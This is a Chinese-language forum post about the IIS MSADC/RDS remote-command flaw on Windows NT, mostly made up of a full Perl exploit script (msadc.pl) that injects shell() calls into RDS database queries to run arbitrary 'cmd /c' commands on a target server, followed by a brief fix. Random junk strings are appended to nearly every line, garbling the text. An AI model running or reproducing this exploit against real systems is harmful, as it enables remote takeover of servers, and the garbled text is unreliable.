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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) \kZ?  
W)bLSL]`E  
涉及程序: hv?9*tLh0  
Microsoft NT server {tWf  
^~etm  
描述: ')cMiX\v  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 9iQq.$A.  
F%RRd/'  
详细: |!4K!_y  
如果你没有时间读详细内容的话,就删除: o4Om}]Ti  
c:\Program Files\Common Files\System\Msadc\msadcs.dll c24dSNJg,  
有关的安全问题就没有了。 (JOgy .5C~  
I`!<9OTBj  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 DW[N|-L  
Vh4X%b$TV  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 BI%$c~wS  
关于利用ODBC远程漏洞的描述,请参看: H:V2[y8\  
*_d7E   
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm X9V*UXTc  
;>Ib^ov  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 [MUpxOAsd  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp u I )6M  
) AvN\sC  
这里不再论述。 ?Wlb3;  
, K~}\CR  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: {ttysQ-  
te-jfmu2  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset J| w>a  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! \| 8  
Wi)_H$KII  
.[ICx  
#将下面这段保存为txt文件,然后: "perl -x 文件名" 1G^`-ri6  
Hquc o  
#!perl bKMy|_  
# Hx?;fl'G%  
# MSADC/RDS 'usage' (aka exploit) script X aMJDa|M  
# W_"sM0 w  
# by rain.forest.puppy g,!L$,/F  
# ?Lk)gO^C  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 5@~ Q^r:%  
# beta test and find errors! V2wb%;q  
M/"I2m   
use Socket; use Getopt::Std; s Z].8.  
getopts("e:vd:h:XR", \%args); r7%I n^k  
"ut39si  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; z7fp#>uw  
Jdj2~pTq  
if (!defined $args{h} && !defined $args{R}) { #Lh;CSS  
print qq~ *XIF)Q=<>  
Usage: msadc.pl -h <host> { -d <delay> -X -v } kaVxT_  
-h <host> = host you want to scan (ip or domain) iv J@=pd)B  
-d <seconds> = delay between calls, default 1 second |v 3T!  
-X = dump Index Server path table, if available vdc\R?  
-v = verbose gCB |DY  
-e = external dictionary file for step 5 x??+~$}\*-  
|ATvS2  
Or a -R will resume a command session B|C2lu  
c(xrP/yOwi  
~; exit;} Ng2twfSl$  
Z 2V.3  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; 52Z2]T c ,  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} Yg||{  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} Ga^"1TZ x  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);  iu=7O  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} , /Z%@-rF  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ;n*.W|Uph  
0ypNUG}   
if (!defined $args{R}){ $ret = &has_msadc; ymhtX6]  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} qN9(S:_Px  
Kqb#_hm  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" y51e%n$  
. "cmd /c "; NJWA3zz   
$in=<STDIN>; chomp $in; DEKP5?]  
$command="cmd /c " . $in ; Z>k#n'm^z  
"o-z y'I  
if (defined $args{R}) {&load; exit;} $ r@zs'N  
6]WAUK%h  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 98IJu  
&try_btcustmr; -b9\=U[  
R'as0 u\  
print "\nStep 2: Trying to make our own DSN..."; SJn;{X>)q  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; [}E='m}u9+  
 M^=zt  
print "\nStep 3: Trying known DSNs..."; On9A U:\  
&known_dsn; 6*78cg Io  
FXG]LoP  
print "\nStep 4: Trying known .mdbs..."; "c%0P"u  
&known_mdb; FrfM3x6UM  
gwuI-d^  
if (defined $args{e}){ o,\$ZxSlm  
print "\nStep 5: Trying dictionary of DSN names..."; :+^lJ&{U  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } *K8$eDNZ  
hd%F nykq  
print "Sorry Charley...maybe next time?\n"; '}53f2%gKa  
exit; ?jv/TBZX4  
$]/{[@5  
############################################################################## N2^=E1|_  
c<B/V0]  
sub sendraw { # ripped and modded from whisker  MzdV2.  
sleep($delay); # it's a DoS on the server! At least on mine... _^Ubs>d=*  
my ($pstr)=@_; 99e.n0  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || /$Nsd  
die("Socket problems\n"); 5IGX5x  
if(connect(S,pack "SnA4x8",2,80,$target)){ C!<Ou6}!b  
select(S); $|=1; XPXIg  
print $pstr; my @in=<S>; )4e.k$X^  
select(STDOUT); close(S); _YhES-Ff  
return @in; l`lk-nb  
} else { die("Can't connect...\n"); }} {T$9?`h~M  
tTl%oN8Qw  
############################################################################## y@S$^jk.  
U`(ee*}o  
sub make_header { # make the HTTP request k_#ak%m/  
my $msadc=<<EOT t%0VJB,Q2  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 tKOmoC  
User-Agent: ACTIVEDATA {L{o]Ii?g  
Host: $ip 1hY{k{+o  
Content-Length: $clen HmGWht6R  
Connection: Keep-Alive %v M-mbX  
Ju@c~Xm  
ADCClientVersion:01.06 EHJ.T~X  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 t\dN DS  
:D5Rlfj  
--!ADM!ROX!YOUR!WORLD! L\J;J%fz.  
Content-Type: application/x-varg b|:YIXml  
Content-Length: $reqlen ~g]Vw4pv  
I3L<[-ZE  
EOT zj{pJOM06  
; $msadc=~s/\n/\r\n/g; gD @){Ip  
return $msadc;} lgL%u K)  
BA:VPTZq  
############################################################################## xef% d G.  
r(TIw%L$  
sub make_req { # make the RDS request ,]F,Uu_H7  
my ($switch, $p1, $p2)=@_; W aRw05r  
my $req=""; my $t1, $t2, $query, $dsn; 76{G'}B  
Jq-]7N%k/  
if ($switch==1){ # this is the btcustmr.mdb query \;B iq`  
$query="Select * from Customers where City=" . make_shell(); B6DYZ+7A  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . ~Fcm[eoC  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} !c Hum  
k(nW#*N_  
elsif ($switch==2){ # this is general make table query q6luUx,@m  
$query="create table AZZ (B int, C varchar(10))"; _1\v  
$dsn="$p1";} _ ]ip ajT  
 +SU8 +w  
elsif ($switch==3){ # this is general exploit table query 7&)bJ@1U  
$query="select * from AZZ where C=" . make_shell(); eu-*?]&Di  
$dsn="$p1";} [q[Y~1o/&H  
P/eeC"  
elsif ($switch==4){ # attempt to hork file info from index server }j)e6>K])  
$query="select path from scope()"; 97*p+T<yp  
$dsn="Provider=MSIDXS;";} &DX! f  
~TD0z AA&  
elsif ($switch==5){ # bad query <)H9V-5aZ  
$query="select"; ~qKY) "gG  
$dsn="$p1";} 0v?"t OT!  
%J?xRv!  
$t1= make_unicode($query); Ffz,J6b  
$t2= make_unicode($dsn); JX;G<lev  
$req = "\x02\x00\x03\x00"; FDs>m #e  
$req.= "\x08\x00" . pack ("S1", length($t1)); )Nw8O{\  
$req.= "\x00\x00" . $t1 ; YK'<NE3 4  
$req.= "\x08\x00" . pack ("S1", length($t2)); n b?l TX~  
$req.= "\x00\x00" . $t2 ; +7.',@8_V  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; |0b`fOS  
return $req;} I+!0O  
kgP0x-Ap  
############################################################################## aB&&YlR=n<  
f}P3O3Yv&  
sub make_shell { # this makes the shell() statement :g0zT[f  
return "'|shell(\"$command\")|'";} uo 8YP<q  
jV1.Yz (`  
############################################################################## EV%gF   
R&k<AZ  
sub make_unicode { # quick little function to convert to unicode \Gvm9M  
my ($in)=@_; my $out; 8Fu(Ft^9  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } ea 'D td  
return $out;} ^}o2  
!l8PDjAE  
############################################################################## L#sMSVC+  
:DNY7TvZ  
sub rdo_success { # checks for RDO return success (this is kludge) 0S!K{xyR  
my (@in) = @_; my $base=content_start(@in); ,#9PxwrO  
if($in[$base]=~/multipart\/mixed/){ @qAS*3j  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} ;?p>e'  
return 0;} V**~m9f  
S4z;7z(8+  
############################################################################## Why`ziks  
p_%Rt"!  
sub make_dsn { # this makes a DSN for us pl?`8@dI  
my @drives=("c","d","e","f"); hHnYtq  
print "\nMaking DSN: "; }19\.z&J  
foreach $drive (@drives) { \_f(M|  
print "$drive: "; n{mfn *r.  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . +ye3HGD  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" ?Z/V~,  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); n/:33DAB  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; eD6fpe\(  
return 0 if $2 eq "404"; # not found/doesn't exist @*( (1(q  
if($2 eq "200") { Q p3_f8  
foreach $line (@results) { OQJ6e:BGt  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} q@8*Xa>  
} return 0;} jQB9j  
Tyx_/pJT  
############################################################################## /82b S|  
s.C_Zf~3  
sub verify_exists { aqk!T%fg  
my ($page)=@_; UZ+<\+q3^  
my @results=sendraw("GET $page HTTP/1.0\n\n"); M .mfw#*  
return $results[0];} D'Q\za  
EaN6^S=  
############################################################################## ZUd-<y  
r;N|)  
sub try_btcustmr { u'BaKWPS  
my @drives=("c","d","e","f"); (*iHf"=\  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 1=V-V<  
3a'<*v<xw  
foreach $dir (@dirs) { MQ6KN(?\ZL  
print "$dir -> "; # fun status so you can see progress SwMc pNo  
foreach $drive (@drives) { wnC81$1l~  
print "$drive: "; # ditto q(84+{>B  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; fNFY$:4X  
$reqlenlen=length( "$reqlen" ); &%J08l6  
$clen= 206 + $reqlenlen + $reqlen; X'iWJ8  
 f.)O2=  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); .?$gpM?i  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} $=4QO  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} W'M*nR|xo  
Ysv" 6b}  
############################################################################## vdwsJPFbc  
Gk6iIK  
sub odbc_error { >z@0.pN]7  
my (@in)=@_; my $base; jse&DQ  
my $base = content_start(@in); S)@j6(HC4  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this sQZhXaMa $  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 9G2FsM|,  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; I; rGD^  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; c]!V'#U  
return $in[$base+4].$in[$base+5].$in[$base+6];} WH^%:4  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; nU7[c| =  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . EADqC>  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} w``U=sfmV  
{)sdiE  
############################################################################## Qo|\-y-#  
PCtzl )  
sub verbose { k!Y, 63V=  
my ($in)=@_; 7@W>E;go  
return if !$verbose; H<+TR6k<  
print STDOUT "\n$in\n";} Xsa].  
cw <l{A  
############################################################################## 3=oDQ&UFt  
Jln:`!#fDf  
sub save { jnwu9PQ  
my ($p1, $p2, $p3, $p4)=@_; TB31- ()  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; ^U/O !GK  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; ZbKg~jdF  
close OUT;} `Urhy#LC  
FGzwhgy  
############################################################################## 0w7DsPdS  
?}Y]|c^W  
sub load { oQJtUP%  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; pd$[8Rmj_  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); a d\ot#V  
@p=<IN>; close(IN); 4_ML],.  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); 6_B]MN!(  
$target= inet_aton($ip) || die("inet_aton problems"); ,PD QzJY  
print "Resuming to $ip ..."; MF'JeM;H  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; 8 L Cb+^  
if($p[1]==1) { kyV8K#}%8  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; "#g}ve,  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; E!F^H^~$8  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); &UFZS94@r  
if (rdo_success(@results)){print "Success!\n";} ~wdGd+ez  
else { print "failed\n"; verbose(odbc_error(@results));}} cU  
elsif ($p[1]==3){ {_*yGK48n  
if(run_query("$p[3]")){ )t%b838l%  
print "Success!\n";} else { print "failed\n"; }} \Vk:93OH21  
elsif ($p[1]==4){ n+R7D.<q!!  
if(run_query($drvst . "$p[3]")){ .e-#yET  
print "Success!\n"; } else { print "failed\n"; }} |DwZ{(R"W  
exit;} eyxW 0}[  
#O&8A  
############################################################################## Pg{J{gn  
m]&SNz=  
sub create_table { t6t!t*jO  
my ($in)=@_; 7d\QB (~  
$reqlen=length( make_req(2,$in,"") ) - 28; K (|}dl:  
$reqlenlen=length( "$reqlen" ); @O~pV`_tD  
$clen= 206 + $reqlenlen + $reqlen; nJ;.Td  
my @results=sendraw(make_header() . make_req(2,$in,"")); .6J$,.Ig  
return 1 if rdo_success(@results); _Z\G5x  
my $temp= odbc_error(@results); verbose($temp); qe\5m.k  
return 1 if $temp=~/Table 'AZZ' already exists/; $/ ],tSm  
return 0;} |uJ%5y#  
Dha1/g1q  
##############################################################################  ~$J2g  
ia? c0xL  
sub known_dsn { [G3E%z  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go yt2PU_),  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", RM/ 0A|  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", fN2lLn9/u  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); CvdN"k  
-:rUw$3J  
foreach $dSn (@dsns) { wuo,kM  
print "."; 8 FhdN  
next if (!is_access("DSN=$dSn")); iURe([@  
if(create_table("DSN=$dSn")){ !<h)w#>en  
print "$dSn successful\n"; xyxy`qRA  
if(run_query("DSN=$dSn")){ @(lh%@hO  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 7|H$ /]  
print "Something's borked. Use verbose next time\n";}}} print "\n";} }QmqoCAE~m  
_u Il  
############################################################################## xYB{;K  
nr3==21Om4  
sub is_access { `GLx#=Q  
my ($in)=@_; 1.>m@Slr>  
$reqlen=length( make_req(5,$in,"") ) - 28; ptaKf4P^r  
$reqlenlen=length( "$reqlen" ); lLIA w$  
$clen= 206 + $reqlenlen + $reqlen; @}ZVtrz  
my @results=sendraw(make_header() . make_req(5,$in,"")); 6dYMwMH  
my $temp= odbc_error(@results); "Y.y:Vv;  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); jiC>d@~y  
return 0;} v` r:=K  
5IG-~jzCLb  
############################################################################## (V@HR9?W)  
4&iCht =  
sub run_query { vKR[&K{Z|  
my ($in)=@_; y_[vr:s5pG  
$reqlen=length( make_req(3,$in,"") ) - 28; ")25 qZae  
$reqlenlen=length( "$reqlen" ); S|}L&A  
$clen= 206 + $reqlenlen + $reqlen; E(|>Ddv B&  
my @results=sendraw(make_header() . make_req(3,$in,"")); i-&yH  
return 1 if rdo_success(@results); t`QENXA}  
my $temp= odbc_error(@results); verbose($temp); Bbp|!+KP{(  
return 0;} TsZ@  
i@'dH3-kO  
############################################################################## S]{oPc[7  
K> e7pu  
sub known_mdb { >R=|Wo`Ri  
my @drives=("c","d","e","f","g"); FiU#T.`9'  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 3 gf1ownC  
my $dir, $drive, $mdb; |f##5fB  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; % u6Sr5A[s  
b`_Q8 J  
# this is sparse, because I don't know of many paMa+jhQQ  
my @sysmdbs=( "\\catroot\\icatalog.mdb", FgO)DQm  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", _vZOZKS+  
"\\system32\\certmdb.mdb", IGN1gs  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% B/C,.?Or  
,+ ~W4<f  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", I}Q2Vu<  
"\\cfusion\\cfapps\\forums\\forums_.mdb", T9&1VW  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 3uMy]HUQ  
"\\cfusion\\cfapps\\security\\realm_.mdb", DTs;{c  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", }~q5w{_n  
"\\cfusion\\database\\cfexamples.mdb", B erwI 7!=  
"\\cfusion\\database\\cfsnippets.mdb", K|@G t%Y  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",  2Rz  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", QSj]ZA  
"\\cfusion\\brighttiger\\database\\cleam.mdb", L%5%T;0'~  
"\\cfusion\\database\\smpolicy.mdb", \j.:3X r  
"\\cfusion\\database\cypress.mdb", @ .KGfNu  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", -']56o_sQ/  
"\\website\\cgi-win\\dbsample.mdb", ^C%<l( b  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", ctV,Q3'Z  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" QCJM&  
); #these are just I?NyM  
foreach $drive (@drives) { DL.!G  
foreach $dir (@dirs){ ?1".;foZ  
foreach $mdb (@sysmdbs) { B1Oq!k  
print "."; *|l/6!WM  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ U ;I9 bK8  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; ^}C\zW  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ -.3w^D"l  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; uVU)d1N  
} else { print "Something's borked. Use verbose next time\n"; }}}}} nF/OPd  
~_ a-E  
foreach $drive (@drives) { Er[A X.3  
foreach $mdb (@mdbs) { J-4:H gx  
print "."; 'W#D(l9nI  
if(create_table($drv . $drive . $dir . $mdb)){ 1nOCQ\$l  
print "\n" . $drive . $dir . $mdb . " successful\n"; /Q )\+  
if(run_query($drv . $drive . $dir . $mdb)){ 3ANQaUC  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; A(N4N  
} else { print "Something's borked. Use verbose next time\n"; }}}} \di=  
} R GX=)  
c"xK`%e  
############################################################################## h7I{ 4  
E!AE4B1bd  
sub hork_idx { u]gxFG "   
print "\nAttempting to dump Index Server tables...\n"; {_dvx*M  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; i@CxI<1'  
$reqlen=length( make_req(4,"","") ) - 28; L.WljNo  
$reqlenlen=length( "$reqlen" ); 39jG8zr=Z[  
$clen= 206 + $reqlenlen + $reqlen; -{+}@?  
my @results=sendraw2(make_header() . make_req(4,"","")); l@:0e]8|o  
if (rdo_success(@results)){ V1JIht>Opo  
my $max=@results; my $c; my %d; .{KVMc  
for($c=19; $c<$max; $c++){ Lh<).<S  
$results[$c]=~s/\x00//g; 6aV_@no.C  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; hpJ-r  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; PYzvCf`?  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; &VcV$8k  
$d{"$1$2"}="";} ]+$?u&0?w  
foreach $c (keys %d){ print "$c\n"; } W}1 ;Z(.*  
} else {print "Index server doesn't seem to be installed.\n"; }} Tb-F]lg$  
.}*" Nv  
############################################################################## snikn&  
i 3SHg\~Z  
sub dsn_dict { 2:=  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); ,v&(YOd  
while(<IN>){ 4Z,!zFS$`  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; _-Fs# f8  
next if (!is_access("DSN=$dSn")); o8vug$=Z  
if(create_table("DSN=$dSn")){ IqGdfL6[(  
print "$dSn successful\n"; A+)`ZTuO  
if(run_query("DSN=$dSn")){ 2Wb]4-  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { F}q c0  
print "Something's borked. Use verbose next time\n";}}} Hq 188<  
print "\n"; close(IN);} 5PnDN\  
k;L6R!V  
############################################################################## :,I:usW"  
!Rt>xD  
sub sendraw2 { # ripped and modded from whisker V2G6Kw9gt  
sleep($delay); # it's a DoS on the server! At least on mine... ]$_NyAoBb  
my ($pstr)=@_; kSh( u  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ?F;8Pa/  
die("Socket problems\n"); ! v0LBe4  
if(connect(S,pack "SnA4x8",2,80,$target)){ /FJu)H..U  
print "Connected. Getting data"; })?GzblI&  
open(OUT,">raw.out"); my @in; = 9]~ yt  
select(S); $|=1; print $pstr; B93+BwN>95  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} vZoaT|3 G]  
close(OUT); select(STDOUT); close(S); return @in; 0K2`-mL  
} else { die("Can't connect...\n"); }} L,@lp  
xZv#Es%#  
############################################################################## ?3xzd P  
jalg5`PU0  
sub content_start { # this will take in the server headers @|%2f@h  
my (@in)=@_; my $c; D5HZ2cz|a  
for ($c=1;$c<500;$c++) { "FKOaQ%IH  
if($in[$c] =~/^\x0d\x0a/){ @{O`E^}-D  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } E\,-XH  
else { return $c+1; }}} 1y4  
return -1;} # it should never get here actually ^`>/.gL  
$p?aVO  
############################################################################## %|i`kYsy  
^ovR7+V  
sub funky { Y.r+wc]  
my (@in)=@_; my $error=odbc_error(@in); `$C n~dT  
if($error=~/ADO could not find the specified provider/){ 8pgEix/M5o  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; (*)hD(C5  
exit;} 5o8EC" 0  
if($error=~/A Handler is required/){ {jX2}  
print "\nServer has custom handler filters (they most likely are patched)\n"; Oo% d]8W  
exit;} %-0t?/>  
if($error=~/specified Handler has denied Access/){ A$:U'ZG_  
print "\nServer has custom handler filters (they most likely are patched)\n"; w: Kl6"c  
exit;}} q#=(e:aCb  
NPe%F+X  
############################################################################## 4Wm@W E  
Tyf`j,=  
sub has_msadc { 7VFLJr t  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); YV anW  
my $base=content_start(@results); 'y3!fN =h  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); ITT@,  
return 0;} OH(waKq2I  
;VO:ph4Aj  
######################## <<R*2b  
kq,ucU%>p  
e&aWq@D  
解决方案: r? E)obE  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll Da&]y  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 1F&Trqq  
o="M  
拿出来充数 哈哈
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